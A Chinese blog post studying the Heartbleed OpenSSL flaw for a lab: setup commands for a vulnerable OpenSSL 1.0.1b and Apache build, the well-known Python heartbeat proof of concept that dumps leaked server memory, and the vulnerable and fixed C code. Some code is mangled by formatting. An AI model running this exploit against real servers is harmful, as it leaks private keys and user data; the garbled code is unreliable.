心脏出血漏洞小学习

心脏出血漏洞简述

引用百度百科的解释,心脏出血漏洞是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多

关于心脏出血漏洞环境的搭建

首先说明节点,第一点推荐在虚拟机上运行,第二点是下载有漏洞的版本,我们这里选择openssl-0.1.b,虚拟机环境为ubuntu,下载哪个版本按照个人情况选择。
环境搭建步骤如下:
#安装相应基础程序
apt update -y
apt install -y wget gcc make

#安装apache并解压
mkdir /home/temp/apache -p
cd /home/temp/apache
wget http://archive.apache.org/dist/httpd/httpd-2.2.34.tar.gz
tar xzvf httpd-2.2.34.tar.gz

#安装对应的openssl版本
mkdir /home/temp/openssl -p
cd /home/temp/openssl
wget http://www.openssl.org/source/openssl-1.0.1b.tar.gz
tar xzvf openssl-1.0.1b.tar.gz

#删掉以前的openssl
apt remove -y openssl

#编译并安装
mkdir /usr/local/ssl -p
cd openssl-1.0.1b
./config --prefix=/usr/local/ssl shared -fPIC no-gost
rm -f /usr/bin/pod2man
make
make install

#移除旧链接并进行新链接
rm /usr/lib/x86_64-linux-gnu/libssl.so -f
rm /usr/lib/x86_64-linux-gnu/libcrypto.so -f
rm /lib/x86_64-linux-gnu/libssl.so -f
rm /lib/x86_64-linux-gnu/libcrypto.so -f
cp /usr/local/ssl/lib/libssl.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libssl.so /usr/lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /usr/lib/x86_64-linux-gnu/

#手动修改配置文件
mv /usr/bin/ssl /usr/bin/openssl.old
mv /usr/include/ssl /usr/include/openssl.old
ln -s /usr/local/ssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/ssl/include/openssl /usr/include/openssl
ln -sf /usr/local/ssl/lib/libcrypto.so.1.0.0 /lib/libcrypto.so.6
echo “/usr/local/ssl/lib” >>/etc/ld.so.conf
ldconfig -v
#安装apache
mkdir /usr/local/httpd -p
mkdir /usr/local/apr -p
mkdir /usr/local/apr-util -p

cd /home/temp/apache/httpd-2.2.34/srclib/apr
./configure --prefix=/usr/local/apr
make
make install

cd /home/temp/apache/httpd-2.2.34/srclib/apr-util
./configure --prefix=/usr/local/apr-util/ --with-apr=/usr/local/apr
make
make install

cd /home/temp/apache/httpd-2.2.34
./configure --prefix=/usr/local/httpd --enable-so --enable-rewrite --enable-ssl --with-ssl=/usr/local/ssl --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util
make
make install

安装完成后,vim /usr/local/httpd/conf/httpd.conf,修改配置文件,把其中的#include conf/extra/httpd-ssl.comf的"#"消掉
vim /usr/local/httpd/conf/extra/httpd-ssl.conf 确保端口是443端口
#生成秘钥和证书
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 3650 -in server.csr -signkey server.key -out server.crt
#关掉防火墙
systemctl stop firewalld
#启动服务
cd /usr/local/httpd/bin
./apachectl start

漏洞poc

直接上代码

#!/usr/bin/python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’, description=‘Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(’-p’, ‘–port’, type=‘int’, default=443, help=‘TCP port to test (default: 443)’)

def h2bin(x):
return x.replace(’ ‘, ‘’).replace(’\n’, ‘’).decode(‘hex’)

hello = h2bin(’’’
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
‘’’)

hb = h2bin(’’’
18 03 02 00 03
01 ff ff
‘’’)

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ’ ‘.join(’%02X’ % ord© for c in lin)
pdat = ‘’.join((c if 32 <= ord© <= 126 else ‘.’ )for c in lin)
print ’ %04x: %-48s %s’ % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ‘’
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print ‘Unexpected EOF receiving record header - server closed connection’
return None, None, None
typ, ver, ln = struct.unpack(’>BHH’, hdr)
pay = recvall(s, ln, 10)
if pay is None:
print ‘Unexpected EOF receiving record payload - server closed connection’
return None, None, None
print ’ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ‘No heartbeat response received, server likely not vulnerable’
return False

    if typ == 24:
        print 'Received heartbeat response:'
        hexdump(pay)
        if len(pay) > 3:
            print 'WARNING: server returned more data than it should - server is vulnerable!'
        else:
            print 'Server processed malformed heartbeat, but did not return any extra data.'
        return True

    if typ == 21:
        print 'Received alert:'
        hexdump(pay)
        print 'Server returned error, likely not vulnerable'
        return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
    typ, ver, pay = recvmsg(s)
    if typ == None:
        print 'Server closed connection without sending Server Hello.'
        return
    # Look for server hello done message.
    if typ == 22 and ord(pay[0]) == 0x0E:
        break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if name == ‘main’:
main()

原有漏洞展示

#ifndef OPENSSL_NO_HEARTBEATS
int
dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /
Use minimum padding */

/* Read type and payload length first */
hbtype = *p++;
/*宏n2s从指针p指向的数组中取出前两个字节,并把它们存入变量payload中——这实际上是心跳包载荷的长度域(length)。注意程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。*/
n2s(p, payload);
pl = p;

if (s->msg_callback)
	s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
		&s->s3->rrec.data[0], s->s3->rrec.length,
		s, s->msg_callback_arg);

/接下来,程序将分配一段由访问者指定大小的内存区域,这段内存区域最大为 (65535 + 1 + 2 + 16) 个字节。变量bp是用来访问这段内存区域的指针。/
if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;

	/* Allocate memory for the response, size is 1 byte
	 * message type, plus 2 bytes payload length, plus
	 * payload, plus padding
	 */
	buffer = OPENSSL_malloc(1 + 2 + payload + padding);
	bp = buffer;

/宏s2n与宏n2s干的事情正好相反:s2n读入一个16 bit长的值,然后将它存成双字节值,所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中——pl指向了用户提供的心跳包数据。最后,程序将所有数据发回给用户。/
/* Enter response type, length and copy payload */
bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/
Random padding */
RAND_pseudo_bytes(bp, padding);
return 0;
}

修复后代码

#ifndef OPENSSL_NO_HEARTBEATS
int dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /
Use minimum padding */

if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                    &s->s3->rrec.data[0], s->s3->rrec.length,
                    s, s->msg_callback_arg);

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0;               /* silently discard */
if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)
    return 0;               /* silently discard per RFC 6520 sec. 4 */

hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0;               /* silently discard per RFC 6520 sec. 4 */
pl = p;
return 0;

}

文章引用与特别鸣谢

[1] https://blog.csdn.net/flurry_rain/article/details/82706375
[2] https://blog.huisa.win/2019/03/25/openssl-heartbleed/

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值